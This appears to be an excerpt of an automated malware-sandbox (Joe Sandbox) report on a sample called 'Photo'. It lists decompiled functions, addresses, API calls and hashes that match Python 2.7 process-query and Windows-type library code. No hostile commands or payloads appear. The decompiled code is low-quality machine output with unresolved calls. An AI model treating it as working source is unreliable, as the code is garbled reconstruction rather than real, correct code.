				intOrPtr* _t57;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				void* _t64;
				void* _t67;

				_t61 = _a4;
				_t16 =  *0x2783108(__edi);
				_t63 = _t62 + 4;
				if(_t16 != 0) {
					_t39 =  *0x278310c(_a8, _t54, _t38);
					_t19 =  *0x2783110(_t61, _t39);
					_t64 = _t63 + 0xc;
					_t55 = _t19;
					if(_t39 != 0) {
						if(_t55 != 0) {
							 *0x278311c(_t55, __edi);
							 *((intOrPtr*)(__edi)) =  *((intOrPtr*)(__edi)) + 0xffffffff;
							if( *((intOrPtr*)(__edi)) == 0) {
								_push(__edi);
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__edi + 4)) + 0x18))))();
							}
							goto L19;
						} else {
							_t57 =  *0x2783114(1);
							_t67 = _t64 + 4;
							if(_t57 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)(_t57 + 0xc)))) = __edi;
								 *0x2783118(_t61, _t39, _t57);
								 *_t57 =  *_t57 + 0xffffffff;
								if( *_t57 != 0) {
									L19:
									return 1;
								} else {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t57 + 4)) + 0x18))))(_t57);
									return 1;
								}
							} else {
								 *((intOrPtr*)(__edi)) =  *((intOrPtr*)(__edi)) + 0xffffffff;
								if( *((intOrPtr*)(__edi)) == 0) {
									_push(__edi);
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__edi + 4)) + 0x18))))();
									_t67 = _t67 + 4;
								}
								 *_t39 =  *_t39 + 0xffffffff;
								if( *_t39 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t39 + 4)) + 0x18))))(_t39);
								}
								goto L14;
							}
						}
					} else {
						 *((intOrPtr*)(__edi)) =  *((intOrPtr*)(__edi)) + 0xffffffff;
						if( *((intOrPtr*)(__edi)) == 0) {
							_push(__edi);
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__edi + 4)) + 0x18))))();
							_t64 = _t64 + 4;
						}
						if(_t55 == 0) {
							L14:
							return 0;
						} else {
							 *_t55 =  *_t55 + 0xffffffff;
							if( *_t55 != 0) {
								goto L14;
							} else {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t55 + 4)) + 0x18))))(_t55);
								return 0;
							}
						}
					}
				} else {
					return 1;
				}
			}

0x027812d1
0x027812d6
0x027812dc
0x027812e1
0x027812f7
0x027812fb
0x02781301
0x02781304
0x02781308
0x02781338
0x027813a0
0x027813a9
0x027813ac
0x027813b4
0x027813b5
0x027813b7
0x00000000
0x0278133a
0x02781342
0x02781344
0x02781349
0x02781379
0x0278137b
0x02781384
0x02781387
0x027813ba
0x027813c2
0x02781389
0x02781390
0x0278139d
0x0278139d
0x0278134b
0x0278134b
0x0278134e
0x02781356
0x02781357
0x02781359
0x02781359
0x0278135c
0x0278135f
0x02781368
0x0278136a
0x00000000
0x0278135f
0x02781349
0x0278130a
0x0278130a
0x0278130d
0x02781315
0x02781316
0x02781318
0x02781318
0x0278131d
0x0278136d
0x02781372
0x0278131f
0x0278131f
0x02781322
0x00000000
0x02781324
0x0278132b
0x02781335
0x02781335
0x02781322
0x0278131d
0x027812e3
0x027812e9
0x027812e9

APIs

PyObject_Size.PYTHON27 ref: 027812D6
PyInt_FromLong.PYTHON27(?), ref: 027812F1
PyDict_GetItem.PYTHON27(?,00000000), ref: 027812FB

Memory Dump Source

Source File: 00000001.00000002.428396427.0000000002781000.00000040.00000001.01000000.0000000B.sdmp, Offset: 02780000, based on PE: true

Associated: 00000001.00000002.428389719.0000000002780000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428396427.0000000002786000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.428423823.0000000002789000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2780000_Photo.jbxd

Similarity

API ID: Dict_FromInt_ItemLongObject_Size
String ID:
API String ID: 2259210261-0
Opcode ID: 1719738a05e65c9deb80873de7f2010b0d8d30a2af5a55cb92e86ad19ad7e7e8
Instruction ID: 6b68222d6e0b5e3e046849c0985e4b5f3fd9548132da2c9948bc92b4d748fb63
Opcode Fuzzy Hash: 1719738a05e65c9deb80873de7f2010b0d8d30a2af5a55cb92e86ad19ad7e7e8
Instruction Fuzzy Hash: AD31FB72D805015BDB109B68EC80AABB3A8EF41734F258364E96D47B81D735EC63C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 02761F60 Relevance: 9.1, APIs: 6, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E02761F60(intOrPtr _a8) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				void* _v20;
				char _v24;
				void* _t11;
				void _t17;
				signed int _t22;
				void* _t26;
				signed int* _t31;
				void _t33;
				void* _t35;
				intOrPtr _t38;

				_t11 =  *0x2769308(_a8, "l",  &_v24);
				if(_t11 != 0) {
					_t26 = E027660C0(_v24, 0x1000);
					if(_t26 == 0) {
						L5:
						return 0;
					} else {
						_push( &_v20);
						_push(_t26);
						_push(_v24);
						if(E02761E30() == 0) {
							_t35 = _v20;
							_v16 = 0;
							_t38 = 0;
							_v8 = 0;
							_v4 = 0;
							_t17 =  *_t35;
							if(_t17 > 0) {
								_t31 = _t35 + 4;
								_t33 = _t17;
								do {
									_t22 =  *_t31;
									if((_t22 & 0x00000100) == 0 || (_t22 & 0x000000e0) <= 0x20) {
										_t38 = _t38 + 1;
									}
									_t31 =  &(_t31[1]);
									_t33 = _t33 - 1;
								} while (_t33 != 0);
							}
							HeapFree(GetProcessHeap(), 0, _t35);
							CloseHandle(_t26);
							return  *0x27692b4("I", _t38);
						} else {
							CloseHandle(_t26);
							goto L5;
						}
					}
				} else {
					return _t11;
				}
			}

0x02761f71
0x02761f7c
0x02761f91
0x02761f98
0x02761fb8
0x02761fbe
0x02761f9a
0x02761fa2
0x02761fa3
0x02761fa4
0x02761faf
0x02761fc3
0x02761fc7
0x02761fcb
0x02761fcd
0x02761fd1
0x02761fd5
0x02761fd9
0x02761fdb
0x02761fde
0x02761fe0
0x02761fe0
0x02761fe7
0x02761ff3
0x02761ff3
0x02761ff4
0x02761ff7
0x02761ff7
0x02761fe0
0x02762006
0x0276200d
0x02762028
0x02761fb1
0x02761fb2
0x00000000
0x02761fb2
0x02761faf
0x02761f81
0x02761f81
0x02761f81

APIs

PyArg_ParseTuple.PYTHON27(?,0276B3D0), ref: 02761F71
CloseHandle.KERNEL32(00000000), ref: 02761FB2

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_CloseHandleParseTuple
String ID:
API String ID: 860947779-0
Opcode ID: caf5eb02b7168ecc948459a83ef8cdf9bc151274981745458d8fa78d8356080c
Instruction ID: 3a21d9cd5e6a0d80ed2a2aa58160c0e3a061072ea1d7417431ad5efd2c9d9862
Opcode Fuzzy Hash: caf5eb02b7168ecc948459a83ef8cdf9bc151274981745458d8fa78d8356080c
Instruction Fuzzy Hash: A111A2B1A40301AFE710EB79DC8CBAB77E8EB85645F984828FD49D2300E775D514CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02763790 Relevance: 9.0, APIs: 6, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E02763790(intOrPtr _a8) {
				void* _t3;
				void* _t4;
				long _t5;
				long _t14;
				void* _t18;
				void* _t22;
				intOrPtr* _t23;

				_t3 =  *0x2769308(_a8, "l", _t22);
				_t23 = _t22 + 0xc;
				if(_t3 != 0) {
					_t4 = E027660C0( *_t23, 0x1000);
					_t18 = _t4;
					if(_t18 != 0) {
						_t5 = GetPriorityClass(_t18);
						_t14 = _t5;
						if(_t14 != 0) {
							CloseHandle(_t18);
							return  *0x27692b4("i", _t14);
						} else {
							 *0x27692b8(_t5);
							CloseHandle(_t18);
							return 0;
						}
					} else {
						return _t4;
					}
				} else {
					return _t3;
				}
			}

0x0276379f
0x027637a5
0x027637aa
0x027637b8
0x027637bd
0x027637c4
0x027637cb
0x027637d1
0x027637d5
0x027637ef
0x02763807
0x027637d7
0x027637d8
0x027637e2
0x027637ed
0x027637ed
0x027637c6
0x027637c8
0x027637c8
0x027637ad
0x027637ad
0x027637ad

APIs

PyArg_ParseTuple.PYTHON27(?,0276B578), ref: 0276379F

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Arg_ParseTuple
String ID:
API String ID: 3371842430-0
Opcode ID: 5028353fd03d4ea3cae7f9bc2c7e7194ccc148c7514d33e288809afc9527090d
Instruction ID: b28f683e44f6e0aed56841e6ee33e19b8207720475abd5758bcce72d717cdf7e
Opcode Fuzzy Hash: 5028353fd03d4ea3cae7f9bc2c7e7194ccc148c7514d33e288809afc9527090d
Instruction Fuzzy Hash: 13F0C8F2A81211EBDB155769BC4CEEB3768DFC567BB208939FE47C2201DB358121C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 02763A70 Relevance: 9.0, APIs: 6, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E02763A70(intOrPtr _a8) {
				long _v4;
				long _v8;
				void* _t6;
				int _t10;
				void* _t20;
				void* _t23;
				intOrPtr* _t24;

				_t6 =  *0x2769308(_a8, "l", _t23);
				_t24 = _t23 + 0xc;
				if(_t6 != 0) {
					_t20 = E027660C0( *_t24, 0x1000);
					if(_t20 == 0) {
						L5:
						return 0;
					} else {
						_t10 = GetProcessAffinityMask(_t20,  &_v8,  &_v4);
						if(_t10 != 0) {
							CloseHandle(_t20);
							return  *0x27692b4("k", _v8);
						} else {
							 *0x27692b8(_t10);
							CloseHandle(_t20);
							goto L5;
						}
					}
				} else {
					return _t6;
				}
			}

0x02763a81
0x02763a87
0x02763a8c
0x02763aa1
0x02763aa8
0x02763ad0
0x02763ad6
0x02763aaa
0x02763ab5
0x02763abd
0x02763ad8
0x02763af5
0x02763abf
0x02763ac0
0x02763aca
0x00000000
0x02763aca
0x02763abd
0x02763a91
0x02763a91
0x02763a91

APIs

PyArg_ParseTuple.PYTHON27(?,0276B5D4), ref: 02763A81
GetProcessAffinityMask.KERNEL32(00000000,?,?), ref: 02763AB5
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 02763AC0
CloseHandle.KERNEL32(00000000), ref: 02763ACA

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: AffinityArg_CloseErr_FromHandleMaskParseProcessTupleWindows
String ID:
API String ID: 1573772585-0
Opcode ID: caa8514222d3e9866b85a222fedeb1c157b422fd8b820dfd3ba6206b8f1dadf5
Instruction ID: 085fdbfe355fd66b0c62d3df33b7aa8dff246a869b9d8e8328a1ec9d4dcc1900
Opcode Fuzzy Hash: caa8514222d3e9866b85a222fedeb1c157b422fd8b820dfd3ba6206b8f1dadf5
Instruction Fuzzy Hash: 920162B1940211ABD610DB64AC4DAFB77A8AF44A19F848928FD46D2200F7369628C6E7

Uniqueness

Uniqueness Score: -1.00%

Function 027648D0 Relevance: 9.0, APIs: 6, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 28%

			E027648D0(intOrPtr _a8) {
				char _v4;
				intOrPtr _v12;
				void* _t5;
				void* _t9;
				void* _t18;
				void* _t21;
				intOrPtr* _t22;

				_t5 =  *0x2769308(_a8, "l", _t21);
				_t22 = _t21 + 0xc;
				if(_t5 != 0) {
					_t18 = E027660C0( *_t22, 0x1000);
					if(_t18 == 0) {
						L5:
						return 0;
					} else {
						_t9 =  *0x27690b4(_t18,  &_v4);
						if(_t9 != 0) {
							CloseHandle(_t18);
							return  *0x27692b4("k", _v12);
						} else {
							 *0x27692b8(_t9);
							CloseHandle(_t18);
							goto L5;
						}
					}
				} else {
					return _t5;
				}
			}

0x027648e1
0x027648e7
0x027648ec
0x02764901
0x02764908
0x0276492b
0x02764931
0x0276490a
0x02764910
0x02764918
0x02764933
0x02764950
0x0276491a
0x0276491b
0x02764925
0x00000000
0x02764925
0x02764918
0x027648f1
0x027648f1
0x027648f1

APIs

PyArg_ParseTuple.PYTHON27(?,0276B7D8), ref: 027648E1
GetProcessHandleCount.KERNEL32(00000000,?), ref: 02764910
PyErr_SetFromWindowsErr.PYTHON27(00000000), ref: 0276491B
CloseHandle.KERNEL32(00000000), ref: 02764925

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Handle$Arg_CloseCountErr_FromParseProcessTupleWindows
String ID:
API String ID: 375582320-0
Opcode ID: 61397405aef395f39dbc44b2fa8b1c560ebb80fd9eb877c396097b2d49ac76bb
Instruction ID: 0e14dff53dbe60a3ff877b35c4077dcf1fcf246839e16f4b08bfbcefa2eeeb63
Opcode Fuzzy Hash: 61397405aef395f39dbc44b2fa8b1c560ebb80fd9eb877c396097b2d49ac76bb
Instruction Fuzzy Hash: 22F0A970980311BFDA10AB64EC5DAEB379CAF4564AF848824FD45D2100F7359528C6E2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A96C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

?PyWinSequence_Tuple@@YAPAU_object@@PAU1@PAK@Z.PYWINTYPES27(?,?), ref: 1E7A96FF
PyErr_Format.PYTHON27(?,Unable to allocate %d bytes), ref: 1E7A973C

Strings

Unable to allocate %d bytes, xrefs: 1E7A9736

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_FormatSequence_Tuple@@U_object@@
String ID: Unable to allocate %d bytes
API String ID: 1543589335-4174463691
Opcode ID: d0e8eacf44129ecc10919c1794ef6b6eaa1e32cb9ddee5808c2f8c3d58b881e1
Instruction ID: 502f4dc75cf1b314209e96e6d2c1fa99613c471ee25fd0d465ed71d49e91eb32
Opcode Fuzzy Hash: d0e8eacf44129ecc10919c1794ef6b6eaa1e32cb9ddee5808c2f8c3d58b881e1
Instruction Fuzzy Hash: 9F3190B95003119BF700CF14EC84BABB7A9EFC4315F184719EA054B350E775E864CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A9570 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

?PyWinSequence_Tuple@@YAPAU_object@@PAU1@PAK@Z.PYWINTYPES27(?,?), ref: 1E7A95AF
PyErr_Format.PYTHON27(?,Unable to allocate %d bytes), ref: 1E7A95EC

Strings

Unable to allocate %d bytes, xrefs: 1E7A95E6

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_FormatSequence_Tuple@@U_object@@
String ID: Unable to allocate %d bytes
API String ID: 1543589335-4174463691
Opcode ID: 681418be127ffa6c53ca0d4aecc3749e7d385911e530dbb52c956eea3fec761c
Instruction ID: 5d19c7c7ef0a3e43b6323071edecda289ceb4ba1e8a65891708ef51e050d7ca3
Opcode Fuzzy Hash: 681418be127ffa6c53ca0d4aecc3749e7d385911e530dbb52c956eea3fec761c
Instruction Fuzzy Hash: E9318FB95003129BF700DF14EC84B5BB7A8EFC4314F184719EA454B295E771E965CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A76A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 1E7A7580: IsValidSid.ADVAPI32(?,?,?,1E7A76BD,?,?,?,00000000,?), ref: 1E7A7587

GetLastError.KERNEL32 ref: 1E7A76C0

Strings

PySID:, xrefs: 1E7A76DA, 1E7A76F2, 1E7A770A, 1E7A771D, 1E7A7735
PySID: Invalid SID, xrefs: 1E7A76CC

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: ErrorLastValid
String ID: PySID:$PySID: Invalid SID
API String ID: 3587717397-2976353951
Opcode ID: f18dd9da2f5104390cb3125d8c96f2ea8e4d73bf68058a868b06e408b71de58a
Instruction ID: 9bb39448acdf562fe9648570bef67148e51199e6bb1486cf44013a8b0869382c
Opcode Fuzzy Hash: f18dd9da2f5104390cb3125d8c96f2ea8e4d73bf68058a868b06e408b71de58a
Instruction Fuzzy Hash: E811E635608251EFF2024B2CD858A9BFBDAAFC5354F1D8754F689C7235EA70D805CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A33A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,Attributes of PyDEVMODE can't be deleted), ref: 1E7A33B6
PyString_AsStringAndSize.PYTHON27(?,?,?), ref: 1E7A33CF
PyErr_Format.PYTHON27(00000000,FormName must be a string of length %d or less,00000020), ref: 1E7A33F6

Strings

Attributes of PyDEVMODE can't be deleted, xrefs: 1E7A33B0
FormName must be a string of length %d or less, xrefs: 1E7A33F0

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_String$FormatSizeString_
String ID: Attributes of PyDEVMODE can't be deleted$FormName must be a string of length %d or less
API String ID: 301252844-1665263692
Opcode ID: 5788f44cd0015131cf61957f049737314424a777b4137c6783e9371fe053b4bd
Instruction ID: 9d0933375fba2d774f8241adf00576b0f83738936202cabb0702084604eb83e5
Opcode Fuzzy Hash: 5788f44cd0015131cf61957f049737314424a777b4137c6783e9371fe053b4bd
Instruction Fuzzy Hash: 69116DB1504211AFE708CF58D888C5ABBE9EFC8324B188B5DF119C73A1D770E855CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A32C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,Attributes of PyDEVMODE can't be deleted), ref: 1E7A32D6
PyString_AsStringAndSize.PYTHON27(?,?,?), ref: 1E7A32EF
PyErr_Format.PYTHON27(00000000,DeviceName must be a string of length %d or less,00000020), ref: 1E7A3316

Strings

DeviceName must be a string of length %d or less, xrefs: 1E7A3310
Attributes of PyDEVMODE can't be deleted, xrefs: 1E7A32D0

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_String$FormatSizeString_
String ID: Attributes of PyDEVMODE can't be deleted$DeviceName must be a string of length %d or less
API String ID: 301252844-574576777
Opcode ID: b1ac9a71e56239c946c6ced970b3f6838fe2d813c7eb85937e9fcd7bae41cacb
Instruction ID: b51fbc4c90078e32eb892db30ed0c0ba1b38a9121c84e1418c2818b24f9ca2a4
Opcode Fuzzy Hash: b1ac9a71e56239c946c6ced970b3f6838fe2d813c7eb85937e9fcd7bae41cacb
Instruction Fuzzy Hash: 49116DB1504301AFE324CF69D88485AB7E9EFC8324B148F1EF5AAC3690E770E850CB91

Uniqueness

Uniqueness Score: -1.00%

Function 02767140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64networkCOMMON

Download Yara Rule

APIs

WSAAddressToStringA.WS2_32(?,?,00000000,?,?), ref: 027671BF
WSAGetLastError.WS2_32 ref: 027671C9
PyErr_SetExcFromWindowsErr.PYTHON27(?,00000000), ref: 027671D9

Strings

invalid family, xrefs: 02767201

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: AddressErr_ErrorFromLastStringWindows
String ID: invalid family
API String ID: 1619670159-3911939720
Opcode ID: 850d925800f43bb51800524d976314670020f02cd8c5144e1b58af77ea263b01
Instruction ID: 272499796675ba6419823d4cd7b4045a5bd8524a77d9d3a1a89fb2fe2fb17b86
Opcode Fuzzy Hash: 850d925800f43bb51800524d976314670020f02cd8c5144e1b58af77ea263b01
Instruction Fuzzy Hash: 7D211875A443019FD324DF54D888FABB7E4FF88740F14C819E989D7251E730A918CB92

Uniqueness

Uniqueness Score: -1.00%

Function 02761200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(00000000,00000000,00000000,00000000,?), ref: 0276123C
6C423B4E.MSVCR90(00000000), ref: 02761247
PyErr_NoMemory.PYTHON27 ref: 02761254
PyErr_SetString.PYTHON27(00000000,GetAdaptersAddresses() syscall failed.), ref: 02761274

Strings

GetAdaptersAddresses() syscall failed., xrefs: 0276126E

Memory Dump Source

Source File: 00000001.00000002.428343835.0000000002761000.00000040.00000001.01000000.0000000A.sdmp, Offset: 02760000, based on PE: true

Associated: 00000001.00000002.428301903.0000000002760000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428343835.000000000276F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.428382712.0000000002773000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2760000_Photo.jbxd

Similarity

API ID: Err_$AdaptersAddressesC423MemoryString
String ID: GetAdaptersAddresses() syscall failed.
API String ID: 2221546555-4058666537
Opcode ID: 32f7df7e2721d27ca36800b6d418661d58a9e1422bb1b8c51e1ac30b550249cf
Instruction ID: 974f8fb5276a2c7205a2b30f82c5a2703f9c327856b4acb4cda88fe6d218e1fe
Opcode Fuzzy Hash: 32f7df7e2721d27ca36800b6d418661d58a9e1422bb1b8c51e1ac30b550249cf
Instruction Fuzzy Hash: 8C01F073785310DFD710DA99BC8CB7FF398EB85665F504436FA05D3280D770A4148AA6

Uniqueness

Uniqueness Score: -1.00%

Function 1E7A3B40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(?,Attributes of PyDEVMODEW can't be deleted), ref: 1E7A3B56
PyString_AsStringAndSize.PYTHON27(?,?,?), ref: 1E7A3B6F
PyErr_Format.PYTHON27(?,Length of DriverData cannot be longer that DriverExtra (%d bytes),?), ref: 1E7A3B9C

Strings

Attributes of PyDEVMODEW can't be deleted, xrefs: 1E7A3B50
Length of DriverData cannot be longer that DriverExtra (%d bytes), xrefs: 1E7A3B96

Memory Dump Source

Source File: 00000001.00000002.431833661.000000001E7A1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 1E7A0000, based on PE: true

Associated: 00000001.00000002.431821077.000000001E7A0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7B9000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431833661.000000001E7BE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431880454.000000001E7C0000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000001.00000002.431889845.000000001E7C2000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e7a0000_Photo.jbxd

Similarity

API ID: Err_String$FormatSizeString_
String ID: Attributes of PyDEVMODEW can't be deleted$Length of DriverData cannot be longer that DriverExtra (%d bytes)
API String ID: 301252844-1897733207
Opcode ID: c44eb35a4a49b764f6e462bab1ea667ec7661c8f46fee69d96410a6f7165e2df
Instruction ID: 7055a081320a5b9631eaf5358434ab7c76269a42b0bff68f5663389cf0001c79
Opcode Fuzzy Hash: c44eb35a4a49b764f6e462bab1ea667ec7661c8f46fee69d96410a6f7165e2df
Instruction Fuzzy Hash: B1116571514211AFE308DF68DC84CAA73A9AFC8325F188B1DF666C72E1D770D951CB51

Uniqueness

Uniqueness Score: -1.00%

